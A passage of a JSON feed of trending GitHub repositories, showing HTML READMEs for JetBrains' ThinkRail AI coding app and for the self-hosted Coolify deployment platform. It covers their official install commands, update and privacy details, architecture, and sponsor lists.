libwebkit2gtk-4.1-0 libayatana-appindicator3-1 librsvg2-2\n</code></pre> </li> \n</ul> \n<p>Packaged stable and nightly desktop builds check for updates in the background and offer them in <strong>Settings \u2192 Updates</strong>: <strong>Download</strong> \u2192 <strong>Preparing update</strong> \u2192 <strong>Install &amp; Restart</strong>. Nothing is applied until you choose <strong>Install &amp; Restart</strong>. ThinkRail then shows the installation's progress and log, closes, and reopens on the new version. After the restart it tells you whether the update installed. If it didn't, it explains why and offers to retry. The updater appears only when the package carries a valid HTTPS feed identity; installations that predate that identity need one manual installation first.</p> \n<h3>Command line</h3> \n<p>The installer downloads the right binary, verifies its SHA-256 checksum, and puts <code>thinkrail</code> on your PATH.</p> \n<p><strong>macOS / Linux</strong> (also Windows under Git Bash):</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash\n</code></pre> \n<p><strong>Windows</strong> \u2014 the same command works from cmd and PowerShell:</p> \n<pre><code class=\"language-powershell\">powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"\n</code></pre> \n<p>Then run <code>thinkrail</code>, optionally with a git repo to open as a project:</p> \n<pre><code class=\"language-bash\">thinkrail ~/code/my-repo\n</code></pre> \n<p><code>thinkrail</code> needs <code>git</code> on your PATH and a model provider \u2014 sign in with JetBrains AI from the app or use your own provider credentials. <code>thinkrail --help</code> lists the flags; <code>thinkrail --version</code> prints the build.</p> \n<details> \n <strong>Nightly builds, pinned versions, updates, and uninstall</strong> \n <p>The installer takes <code>--channel stable|nightly</code> and <code>--version</code>; a pinned version must belong to the selected channel:</p> \n <pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel stable --version 0.1.2\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly --version 0.2.0-nightly.10\n</code></pre> \n <p>On Windows the options are environment variables (<code>THINKRAIL_CHANNEL</code>, <code>THINKRAIL_VERSION</code>, <code>THINKRAIL_PREFIX</code>, <code>THINKRAIL_NO_MODIFY_PATH</code>):</p> \n <pre><code class=\"language-powershell\">$env:THINKRAIL_CHANNEL='nightly'; irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex   # PowerShell\nset \"THINKRAIL_CHANNEL=stable\" &amp;&amp; set \"THINKRAIL_VERSION=0.1.2\" &amp;&amp; powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"   # cmd\n</code></pre> \n <p>Installed stable and nightly CLI hosts periodically offer <strong>Run Update</strong> in <strong>Settings \u2192 Updates</strong>. It runs the host machine's <code>thinkrail update</code> in the background \u2014 also when the UI is open in a browser on another machine \u2014 and a successful update asks you to restart the host manually. You can run <code>thinkrail update</code> directly on any platform: it re-runs the installer for the installed channel and replaces <code>&lt;prefix&gt;/bin/thinkrail[.exe]</code>; pass <code>--channel</code> or <code>--version</code> only for an explicit override.</p> \n <p><code>thinkrail uninstall</code> removes the executable, the PATH entry the installer added, and the install metadata, and asks whether to delete your <code>~/.thinkrail</code> app state (kept by default \u2014 <code>--remove-data</code> deletes it, <code>-y</code> skips the questions).</p> \n <p>Prefer a manual install? Download a binary and <code>SHA256SUMS</code> from the releases page and verify the checksum. For self-update to work, rename it to <code>thinkrail</code> (<code>thinkrail.exe</code> on Windows) and place it at <code>&lt;prefix&gt;/bin/thinkrail[.exe]</code>; a binary kept under its release filename or elsewhere must be replaced manually or reinstalled with the script.</p> \n</details> \n<h3>Platform notes</h3> \n<table> \n <thead> \n  <tr> \n   <th>Platform</th> \n   <th>Desktop</th> \n   <th>CLI</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>macOS Apple Silicon</td> \n   <td>DMG</td> \n   <td>signed binary</td> \n  </tr> \n  <tr> \n   <td>macOS Intel</td> \n   <td>no Electrobun build</td> \n   <td>not prebuilt \u2014 <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/#developing-thinkrail\">build from source</a></td> \n  </tr> \n  <tr> \n   <td>Windows x64</td> \n   <td>signed setup executable and app binaries</td> \n   <td>signed <code>.exe</code></td> \n  </tr> \n  <tr> \n   <td>Linux x64 / ARM64</td> \n   <td>setup tarball, unsigned</td> \n   <td>unsigned</td> \n  </tr> \n </tbody> \n</table> \n<p>JetBrains signs the Windows CLI, the desktop setup executable, and every executable and DLL the desktop app installs. The macOS CLI is signed but not yet notarized. Signed and notarized desktop DMGs require the coordinated JetBrains service pipeline; older published DMGs and locally built packages may still be unsigned and blocked by Gatekeeper. Linux artifacts are unsigned.</p> \n<h2>Analytics &amp; privacy</h2> \n<p>ThinkRail collects basic usage events \u2014 launches, chat creation, message sends, provider connections \u2014 tied to a random installation ID. Usage analytics never include prompts, code, files, credentials, or account identity. Error reports are also always sent, tied to the same installation ID, so we can fix crashes: the error type and code and where in ThinkRail's own code it happened. They never include error messages, file paths, names, URLs, or anything from your projects or extensions. Additional product usage and how you found ThinkRail are shared only while <strong>Share additional usage data</strong> is on; the switch is offered at first launch and lives in <strong>Settings \u2192 Privacy</strong>. When launching from the command line, <code>thinkrail --no-analytics</code> (or <code>THINKRAIL_NO_ANALYTICS=1</code>) turns additional sharing off for that run. With additional sharing on, a packaged build may open the ThinkRail blog in your browser once to link your installation to the website visit that brought you here \u2014 only where you accepted marketing cookies on the website or no consent is required \u2014 and that link expires after 30 days.</p> \n<h2>Under the hood</h2> \n<p>ThinkRail is a thin host that runs <code>pi</code> in-process and bridges it to a rich web UI. <code>pi</code> owns models, skills, compaction, cost, and session state; the app owns the workspace, the editor, and the wire \u2014 it never assembles prompts behind your back. Three rings:</p> \n<ul> \n <li><strong>Engine host</strong> \u2014 <code>packages/server</code> (+ <code>packages/shared</code>): a <code>Bun.serve</code> HTTP+WS host with one in-process <code>pi</code> session per chat, launched by <code>apps/cli</code> or <code>apps/desktop</code>.</li> \n <li><strong>The wire</strong> \u2014 <code>packages/contracts</code>: the typed, versioned protocol between host and UI.</li> \n <li><strong>UI client</strong> \u2014 <code>apps/web</code>: React 19 + Zustand + Tailwind v4, shipped independently; it dials a host over the wire and depends on the contracts only.</li> \n</ul> \n<p><a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/goal-and-requirements.md\"><code>goal-and-requirements.md</code></a> and <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/architecture.md\"><code>architecture.md</code></a> are the canonical product and design specs. ThinkRail is developed spec-first: a <code>SPEC.md</code> sits beside every module, and a change that moves a boundary, contract, or decision updates the spec in the same change.</p> \n<h2>Developing ThinkRail</h2> \n<p>You need <strong>Bun</strong> 1.4.4 (the pinned package manager and runtime), <strong>Node.js</strong> \u2265 22.19 (required by the in-process <code>pi</code> engine), and an authenticated <code>pi</code> provider for agent work.</p> \n<pre><code class=\"language-bash\">git clone https://github.com/JetBrains/thinkrail.git\ncd thinkrail\nbun install\nbun run dev                          # host + web client together; Ctrl+C stops both\n</code></pre> \n<pre><code class=\"language-bash\">bun run --filter @thinkrail/cli dev  # browser launcher\nbun run build:binary                 # standalone CLI artifact\nbun run desktop:dev                  # package and open the Electrobun app\nbun run desktop:build                # package without opening it\n</code></pre> \n<p><a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CONTRIBUTING.md\"><code>CONTRIBUTING.md</code></a> covers the checks, the end-to-end suites, desktop packaging, and the repository layout.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome \u2014 see <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CONTRIBUTING.md\"><code>CONTRIBUTING.md</code></a>. This project and community are governed by the <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CODE_OF_CONDUCT.md\">Code of Conduct</a>.</p> \n<h2>License</h2> \n<p>Licensed under the <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/LICENSE\">Apache License 2.0</a>.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/coollabsio/coolify", "url": "https://github.com/coollabsio/coolify", "external_url": null, "title": "coollabsio/coolify", "content_text": "", "content_html": "<p>An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://coolify.io\">https://coolify.io</a></p><hr /><div align=\"center\"> \n <img alt=\"Coolify logo\" src=\"https://raw.githubusercontent.com/coollabsio/coolify/main/public/coolify-logo.svg?sanitize=true\" width=\"120\" /> \n <h1>Coolify</h1> \n <p><strong>An open-source platform to deploy applications, databases, and services on your own servers.</strong></p> \n <p>Open source &amp; free forever, backed by our <a href=\"https://coolify.io/philosophy\">philosophy</a>.</p> \n <p><img alt=\"Latest Release Version\" src=\"https://img.shields.io/badge/dynamic/json?labelColor=grey&amp;color=6366f1&amp;label=Latest%20released%20version&amp;url=https%3A%2F%2Fcdn.coollabs.io%2Fcoolify%2Fversions.json&amp;query=coolify.v4.version&amp;style=for-the-badge\" /></p> \n <p><a href=\"https://coolify.io\">Website</a> \u00b7 <a href=\"https://coolify.io/docs\">Documentation</a> \u00b7 <a href=\"https://app.coolify.io\">Cloud</a> \u00b7 <a href=\"https://coollabs.io/discord\">Discord</a> \u00b7 <a href=\"https://github.com/coollabsio/coolify/discussions\">Community</a></p> \n</div> \n<h2>What is Coolify?</h2> \n<p>Coolify is an open-source and self-hostable alternative to Heroku, Netlify, and Vercel. It helps you manage servers, applications, and databases on your own hardware. You only need an SSH connection.</p> \n<p>You can use a VPS, a bare-metal server, a Raspberry Pi, or any other server that accepts SSH connections. Coolify gives you the convenience of a cloud platform while you keep control of your infrastructure.</p> \n<p>Your configurations stay on your servers. If you stop using Coolify, your running resources continue to work and remain manageable.</p> \n<h2>What can Coolify do?</h2> \n<ul> \n <li><strong>Deploy any application:</strong> Build from GitHub, GitLab, Bitbucket, or Gitea with Nixpacks, Railpack, Dockerfile, Docker Compose, or a prebuilt Docker image.</li> \n <li><strong>Run databases and services:</strong> Deploy managed databases and more than 360 one-click services with persistent storage and generated credentials.</li> \n <li><strong>Automate deployments:</strong> Deploy on every Git push, create pull-request previews, call deployment webhooks, and roll back to retained application images.</li> \n <li><strong>Manage networking:</strong> Configure custom domains, automatic HTTPS certificates, reverse proxies, health checks, and container networks.</li> \n <li><strong>Operate your infrastructure:</strong> Manage multiple servers, inspect deployment and runtime logs, open container terminals, and monitor resource status.</li> \n <li><strong>Protect your workloads:</strong> Configure database and storage backups, scheduled tasks, environment variables, secrets, and notifications.</li> \n <li><strong>Integrate with your workflow:</strong> Manage resources through the dashboard, API, CLI, MCP, and team-based access controls.</li> \n</ul> \n<h2>Quick start</h2> \n<p>Install Coolify on a supported server with one command:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash\n</code></pre> \n<p>Read the <a href=\"https://coolify.io/docs/installation\">installation guide</a> for requirements and detailed instructions. You can also review the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/scripts/install.sh\">installation script</a> before you run it.</p> \n<h2>Self-hosted or Cloud</h2> \n<table> \n <thead> \n  <tr> \n   <th>Self-hosted</th> \n   <th>Coolify Cloud</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Install Coolify on your own server.</td> \n   <td>Use a Coolify instance that we maintain.</td> \n  </tr> \n  <tr> \n   <td>Control and maintain the complete platform.</td> \n   <td>Get high availability and less maintenance.</td> \n  </tr> \n  <tr> \n   <td>Free and open source.</td> \n   <td>Paid service with email notifications and additional support.</td> \n  </tr> \n </tbody> \n</table> \n<p>The recommended self-hosted setup uses one server for Coolify and one or more servers for deployed resources. If you do not want to maintain the Coolify server, use <a href=\"https://app.coolify.io\">Coolify Cloud</a>. See <a href=\"https://coolify.io\">coolify.io</a> for current pricing.</p> \n<h2>Community and support</h2> \n<ul> \n <li>Read the <a href=\"https://coolify.io/docs\">documentation</a>.</li> \n <li>Join the community on <a href=\"https://coollabs.io/discord\">Discord</a>.</li> \n <li>Ask questions in <a href=\"https://github.com/coollabsio/coolify/discussions\">GitHub Discussions</a>.</li> \n <li>Read the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/CONTRIBUTING.md\">contribution guide</a> before you submit a change.</li> \n <li>Review the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/CODE_OF_CONDUCT.md\">code of conduct</a>.</li> \n <li>Contact the team through the <a href=\"https://coolify.io/docs/contact\">support page</a>.</li> \n</ul> \n<h2>Donations</h2> \n<p>To stay completely free and open-source, with no feature behind the paywall and evolve the project, we need your help. If you like Coolify, please consider donating to help us fund the project's future development.</p> \n<p><a href=\"https://coolify.io/sponsorships\">coolify.io/sponsorships</a></p> \n<p>Thank you so much!</p> \n<h3>Huge Sponsors</h3> \n<ul> \n <li><a href=\"https://www.context.dev/\">Context.dev</a> - Web scraping API for AI agents</li> \n <li><a href=\"https://ginernet.com/\">Ginernet</a> - Hosting powerful servers in Spain</li> \n <li><a href=\"https://serpapi.com\">SerpAPI</a> - Google Search API \u2014 Scrape Google and other search engines from our fast, easy, and complete API.</li> \n <li><a href=\"https://www.mvps.net\">MVPS</a> - Cheap VPS servers at the highest possible quality</li> \n <li><a href=\"https://screenshotone.com\">ScreenshotOne</a> - Screenshot API for devs</li> \n <li><a href=\"https://privatealps.net\">PrivateAlps</a> - Cloud Services Provider, VPS, servers infrastructure for people who care about privacy and control</li> \n <li><a href=\"https://seibert.link/coolifysoftware\">Seibert Group</a> - Boost productivity company-wide with AI agents like Claude Code</li> \n <li><a href=\"https://contabo.com/en/coolify-vps/\">Contabo</a> - Cloud VPS &amp; dedicated servers at unbeatable prices</li> \n</ul> \n<h3>Big Sponsors</h3> \n<ul> \n <li><a href=\"https://www.vanaways.co.uk\">Vanaways</a> - New vans for sale and lease across the UK</li> \n <li><a href=\"https://www.cloudways.com/en/?id=2125302\">Cloudways</a> - Managed cloud hosting platform by DigitalOcean</li> \n <li><a href=\"https://www.bytebase.com\">ByteBase</a> - Database CI/CD and Security at Scale</li> \n <li><a href=\"https://ramnode.com/\">Ramnode</a> - High Performance Cloud VPS Hosting</li> \n <li><a href=\"https://23m.com\">23M</a> - Your experts for high-availability hosting solutions!</li> \n <li><a href=\"https://macarne.com\">Macarne</a> - Best IP Transit &amp; Carrier Ethernet Solutions for Simplified Network Connectivity</li> \n <li><a href=\"http://htznr.li/CoolifyXHetzner\">Hetzner</a> - Server, cloud, hosting, and data center solutions</li> \n <li><a href=\"https://logto.io\">Logto</a> - The better identity infrastructure for developers</li> \n <li><a href=\"https://supadata.ai/\">Supadata</a> - Scrape YouTube, web, and files. Get AI-ready, clean data for your next project.</li> \n <li><a href=\"https://tolgee.io\">Tolgee</a> - The open source localization platform</li> \n <li><a href=\"https://bc.direct\">Best Consultant</a> - Your trusted technology consulting partner</li> \n <li><a href=\"https://arcjet.com\">ArcJet</a> - Advanced web security and performance solutions</li> \n <li><a href=\"https://supa.guide\">SupaGuide</a> - Your comprehensive guide to Supabase</li> \n <li><a href=\"https://coderabbit.ai\">CodeRabbit</a> - Cut Code Review Time &amp; Bugs in Half</li> \n <li><a href=\"https://convex.link/coolify.io\">Convex</a> - Convex is the open-source reactive database for web app developers.</li> \n <li><a href=\"https://billing.goldenvm.com\">GoldenVM</a> - Premium virtual machine hosting solutions</li> \n <li><a href=\"https://comit.international\">Comit International</a> - New York Times award\u2013winning contractor!</li> \n <li><a href=\"https://www.trycomp.ai\">Compai</a> - The open source compliance automation platform that does everything you need to get compliant, fast. Open source alternative to Drata &amp; Vanta.</li> \n <li><a href=\"https://www.tigrisdata.com\">Tigris</a> - Modern S3 Alternative</li> \n <li><a href=\"https://blacksmith.sh\">Blacksmith</a> - Infrastructure automation platform</li> \n <li><a href=\"https://jobscollider.com/remote-jobs\">JobsCollider</a> - 30,000+ remote jobs for developers</li> \n <li><a href=\"https://darweb.nl/?ref=coolify.io&amp;utm_source=coolify.io\">Darweb</a> - Design. Develop. Deliver. Specialized in 3D CPQ Solutions for eCommerce.</li> \n <li><a href=\"https://www.hostinger.com/vps/coolify-hosting\">Hostinger</a> - Web hosting and VPS solutions</li> \n <li><a href=\"https://vibe.mobb.ai/\">Mobb</a> - Secure Your AI-Generated Code to Unlock Dev Productivity</li> \n <li><a href=\"https://www.ubicloud.com\">Ubicloud</a> - Open source cloud infrastructure platform</li> \n <li><a href=\"https://pfglabs.com\">PFGLabs</a> - Build Real Projects with Golang</li> \n <li><a href=\"https://juxtdigital.com\">JuxtDigital</a> - Digital PR &amp; AI Authority Building Agency</li> \n <li><a href=\"https://saasykit.com\">SaasyKit</a> - Complete SaaS starter kit for developers</li> \n <li><a href=\"https://americancloud.com\">American Cloud</a> - US-based cloud infrastructure services</li> \n <li><a href=\"https://www.greptile.com\">Greptile</a> - The AI Code Reviewer</li> \n <li><a href=\"https://vpsdime.com/\">VPSDime</a> - Cheap VPS Hosting - 4GB for $5/month</li> \n <li><a href=\"https://cloud.dataforest.net/en\">dataforest Cloud</a> - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany.</li> \n <li><a href=\"https://ishosting.com/\">ISHosting</a> - Hosting and VPS solutions</li> \n <li><a href=\"https://nodeplus.ai/\">NodePlus.ai</a> - AI that reads every system your business runs on</li> \n</ul> \n<h3>Small Sponsors</h3> \n<p><a href=\"https://serverside.com/?utm_source=coolify.io\"><img alt=\"Serverside\" src=\"https://cdn.coollabs.io/sponsors/serverside.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://darkvps.pro\"><img alt=\"DarkVPS\" src=\"https://cdn.coollabs.io/sponsors/darkvps.png\" width=\"60px\" /></a> <a href=\"https://www.opensourcealternatives.to\"><img alt=\"Open Source Alternatives\" src=\"https://cdn.coollabs.io/sponsors/opensourcealternatives.png\" width=\"60px\" /></a> <a href=\"https://onserva.com/\"><img alt=\"Onserva\" src=\"https://onserva.com/icon.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://www.movavi.com/mac.html?utm_source=coolify.io\"><img alt=\"Movavi\" src=\"https://cdn.coollabs.io/sponsors/movavi.png\" width=\"60px\" /></a> <a href=\"https://usefoil.com/\"><img alt=\"ABXY\" src=\"https://usefoil.com/favicon.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://www.launchfa.st/?utm_source=coolify.io\"><img alt=\"LaunchFast Boilerplates\" src=\"https://github.com/LaunchFast-Boilerplates.png\" width=\"60px\" /></a> <a href=\"https://www.netrouting.com/?utm_source=coolify.io\"><img alt=\"Netrouting\" src=\"https://github.com/netroutingcom.png\" width=\"60px\" /></a> <a href=\"https://github.com/mindedtech\"><img alt=\"MindEd Tech\" src=\"https://github.com/mindedtech.png\" width=\"60px\" /></a> <a href=\"https://youstable.com/?utm_source=coolify.io\"><img alt=\"YouStable\" src=\"https://github.com/youstable.png\" width=\"60px\" /></a> <a href=\"https://transcript.lol/?utm_source=coolify.io\"><img alt=\"Transcript LOL\" src=\"https://transcript.lol/logo.png\" width=\"60px\" /></a> <a href=\"https://www.autom.dev/?utm_source=coolify.io\"><img alt=\"Autom\" src=\"https://cdn.coollabs.io/sponsors/autom.png\" width=\"60px\" /></a> <a href=\"https://www.huntapi.com/?utm_source=coolify.io\"><img alt=\"HuntAPI\" src=\"https://cdn.coollabs.io/sponsors/huntapi.png\" width=\"60px\" /></a> <a href=\"https://ultraservers.com/?utm_source=coolify.io\"><img alt=\"ULTRASERVERS\" src=\"https://github.com/ULTRASERVERS.png\" width=\"60px\" /></a> <a href=\"https://vibetone.com/?utm_source=coolify.io\"><img alt=\"VibeTone\" src=\"https://github.com/vibetonefm.png\" width=\"60px\" /></a> <a href=\"https://www.piloterr.com/?utm_source=coolify.io\"><img alt=\"Piloterr\" src=\"https://cdn.coollabs.io/sponsors/piloterr.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://yoxel.com/?utm_source=coolify.io\"><img alt=\"Alexey Panteleev\" src=\"https://github.com/aspantel.png\" width=\"60px\" /></a> <a href=\"https://summyt.app?utm_source=coolify.io\"><img alt=\"SummYT - YouTube Summarizer\" src=\"https://summyt.app/logo.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://open-elements.com/?utm_source=coolify.io\"><img alt=\"OpenElements\" src=\"https://github.com/OpenElements.png\" width=\"60px\" /></a> <a href=\"https://xaman.app/?utm_source=coolify.io\"><img alt=\"Xaman\" src=\"https://github.com/XamanApp.png\" width=\"60px\" /></a> <a href=\"https://monadical.com/?utm_source=coolify.io\"><img alt=\"Monadical\" src=\"https://github.com/Monadical-SAS.png\" width=\"60px\" /></a> <a href=\"https://maas.engineering/?utm_source=coolify.io\"><img alt=\"Magic as a Service\" src=\"https://github.com/magicasaservice.png\" width=\"60px\" /></a> <a href=\"https://fivemanage.com?utm_source=coolify.io\"><img alt=\"FiveManage\" src=\"https://cdn.coollabs.io/sponsors/fivemanage.jpg\" width=\"60px\" /></a> <a href=\"https://cryptojobslist.com/?utm_source=coolify.io\"><img alt=\"Crypto Jobs List\" src=\"https://github.com/cryptojobslist.png\" width=\"60px\" /></a> <a href=\"https://serpapi.com/?utm_source=coolify.io\"><img alt=\"SerpAPI\" src=\"https://github.com/serpapi.png\" width=\"60px\" /></a> <a href=\"https://typebot.io/?utm_source=coolify.io\"><img alt=\"typebot\" src=\"https://cdn.bsky.app/img/avatar/plain/did:plc:gwxcta3pccyim4z5vuultdqx/bafkreig23hci7e2qpdxicsshnuzujbcbcgmydxhbybkewszdezhdodv42m@jpeg\" width=\"60px\" /></a> <a href=\"https://360creators.com/?utm_source=coolify.io\"><img alt=\"360Creators\" src=\"https://opencollective-production.s3.us-west-1.amazonaws.com/account-avatar/503e0953-bff7-4296-b4cc-5e36d40eecc0/icon-360creators.png\" width=\"60px\" /></a> <a href=\"https://capgo.app/?utm_source=coolify.io\"><img alt=\"Cap-go\" src=\"https://github.com/cap-go.png\" width=\"60px\" /></a> <a href=\"https://cirun.io/?utm_source=coolify.io\"><img alt=\"Cirun\" src=\"https://cdn.coollabs.io/sponsors/cirun-logo.png\" width=\"60px\" /></a> <a href=\"https://github.com/puls-digital-group\"><img alt=\"Puls Digital Group\" src=\"https://github.com/puls-digital-group.png\" width=\"60px\" /></a> <a href=\"https://github.com/jonathanprl\"><img alt=\"Jonathan Pereira\" src=\"https://github.com/jonathanprl.png\" width=\"60px\" /></a> <a href=\"https://outboundgateway.com/\"><img alt=\"OutboundGateway\" src=\"https://github.com/OutboundGateway.png\" width=\"60px\" /></a> <a href=\"https://github.com/t4dt\"><img alt=\"T4DT GmbH\" src=\"https://github.com/t4dt.png\" width=\"60px\" /></a> <a href=\"https://internetgarden.co/?utm_source=coolify.io\"><img alt=\"Internet Garden\" src=\"https://cdn.coollabs.io/sponsors/internetgarden.ico\" width=\"60px\" /></a> <a href=\"https://evercam.io/?utm_source=coolify.io\"><img alt=\"Evercam\" src=\"https://github.com/evercam.png\" width=\"60px\" /></a> <a href=\"https://web3.career/?utm_source=coolify.io\"><img alt=\"Web3 Jobs\" src=\"https://cdn.coollabs.io/sponsors/web3jobs.png\" width=\"60px\" /></a> <a href=\"https://linkdr.com?utm_source=coolify.io\"><img alt=\"LinkDr\" src=\"https://cdn.coollabs.io/sponsors/linkdr.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://arvensis.systems/?utm_source=coolify.io\"><img alt=\"Arvensis Systems\" src=\"https://cdn.coollabs.io/sponsors/arvensis.png\" width=\"60px\" /></a> <a href=\"https://www.runpod.io/?utm_source=coolify.io\"><img alt=\"RunPod\" src=\"https://cdn.coollabs.io/sponsors/runpod.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"http://gravitywiz.com/?utm_source=coolify.io\"><img alt=\"Gravity Wiz\" src=\"https://github.com/gravitywiz.png\" width=\"60px\" /></a> <a href=\"https://www.uxwizz.com/?utm_source=coolify.io\"><img alt=\"UXWizz\" src=\"https://github.com/UXWizz.png\" width=\"60px\" /></a> <a href=\"https://codext.link/coolify-io?utm_source=coolify.io\"><img alt=\"Codext\" src=\"https://cdn.coollabs.io/sponsors/codext.jpg\" width=\"60px\" /></a> <a href=\"https://interviewpal.com\"><img alt=\"InterviewPal\" src=\"https://cdn.coollabs.io/sponsors/interviewpal.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://decidable.no?utm_source=coolify.io\"><img alt=\"Decidable\" src=\"https://github.com/Decidable-AS.png\" width=\"60px\" /></a> <a href=\"https://hosthavoc.com\"><img alt=\"Host Havoc\" src=\"https://cdn.coollabs.io/sponsors/hosthavoc.png\" width=\"60px\" /></a></p> \n<p>...and many more at <a href=\"https://github.com/sponsors/coollabsio\">GitHub Sponsors</a></p> \n<h2>Star History</h2> \n<p><a href=\"https://star-history.com/#coollabsio/coolify&amp;Date\"><img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=coollabsio/coolify&amp;type=Date\" /></a></p>", "summary": "<p>An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://coolify.io\">https://coolify.io</a></p><hr /><div align=\"center\"> \n <img alt=\"Coolify logo\" src=\"https://raw.githubusercontent.com/coollabsio/coolify/main/public/coolify-logo.svg?sanitize=true\" width=\"120\" /> \n <h1>Coolify</h1> \n <p><strong>An open-source platform to deploy applications, databases, and services on your own servers.</strong></p> \n <p>Open source &amp; free forever, backed by our <a href=\"https://coolify.io/philosophy\">philosophy</a>.</p> \n <p><img alt=\"Latest Release Version\" src=\"https://img.shields.io/badge/dynamic/json?labelColor=grey&amp;color=6366f1&amp;label=Latest%20released%20version&amp;url=https%3A%2F%2Fcdn.coollabs.io%2Fcoolify%2Fversions.json&amp;query=coolify.v4.version&amp;style=for-the-badge\" /></p> \n <p><a href=\"https://coolify.io\">Website</a> \u00b7 <a href=\"https://coolify.io/docs\">Documentation</a> \u00b7 <a href=\"https://app.coolify.io\">Cloud</a> \u00b7 <a href=\"https://coollabs.io/discord\">Discord</a> \u00b7 <a href=\"https://github.com/coollabsio/coolify/discussions\">Community</a></p> \n</div> \n<h2>What is Coolify?</h2> \n<p>Coolify is an open-source and self-hostable alternative to Heroku, Netlify, and Vercel. It helps you manage servers, applications, and databases on your own hardware. You only need an SSH connection.</p> \n<p>You can use a VPS, a bare-metal server, a Raspberry Pi, or any other server that accepts SSH connections. Coolify gives you the convenience of a cloud platform while you keep control of your infrastructure.</p> \n<p>Your configurations stay on your servers. If you stop using Coolify, your running resources continue to work and remain manageable.</p> \n<h2>What can Coolify do?</h2> \n<ul> \n <li><strong>Deploy any application:</strong> Build from GitHub, GitLab, Bitbucket, or Gitea with Nixpacks, Railpack, Dockerfile, Docker Compose, or a prebuilt Docker image.</li> \n <li><strong>Run databases and services:</strong> Deploy managed databases and more than 360 one-click services with persistent storage and generated credentials.</li> \n <li><strong>Automate deployments:</strong> Deploy on every Git push, create pull-request previews, call deployment webhooks, and roll back to retained application images.</li> \n <li><strong>Manage networking:</strong> Configure custom domains, automatic HTTPS certificates, reverse proxies, health checks, and container networks.</li> \n <li><strong>Operate your infrastructure:</strong> Manage multiple servers, inspect deployment and runtime logs, open container terminals, and monitor resource status.</li> \n <li><strong>Protect your workloads:</strong> Configure database and storage backups, scheduled tasks, environment variables, secrets, and notifications.</li> \n <li><strong>Integrate with your workflow:</strong> Manage resources through the dashboard, API, CLI, MCP, and team-based access controls.</li> \n</ul> \n<h2>Quick start</h2> \n<p>Install Coolify on a supported server with one command:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash\n</code></pre> \n<p>Read the <a href=\"https://coolify.io/docs/installation\">installation guide</a> for requirements and detailed instructions. You can also review the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/scripts/install.sh\">installation script</a> before you run it.</p> \n<h2>Self-hosted or Cloud</h2> \n<table> \n <thead> \n  <tr> \n   <th>Self-hosted</th> \n   <th>Coolify Cloud</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Install Coolify on your own server.</td> \n   <td>Use a Coolify instance that we maintain.</td> \n  </tr> \n  <tr> \n   <td>Control and maintain the complete platform.</td> \n   <td>Get high availability and less maintenance.</td> \n  </tr> \n  <tr> \n   <td>Free and open source.</td> \n   <td>Paid service with email notifications and additional support.</td> \n  </tr> \n </tbody> \n</table> \n<p>The recommended self-hosted setup uses one server for Coolify and one or more servers for deployed resources. If you do not want to maintain the Coolify server, use <a href=\"https://app.coolify.io\">Coolify Cloud</a>. See <a href=\"https://coolify.io\">coolify.io</a> for current pricing.</p> \n<h2>Community and support</h2> \n<ul> \n <li>Read the <a href=\"https://coolify.io/docs\">documentation</a>.</li> \n <li>Join the community on <a href=\"https://coollabs.io/discord\">Discord</a>.</li> \n <li>Ask questions in <a 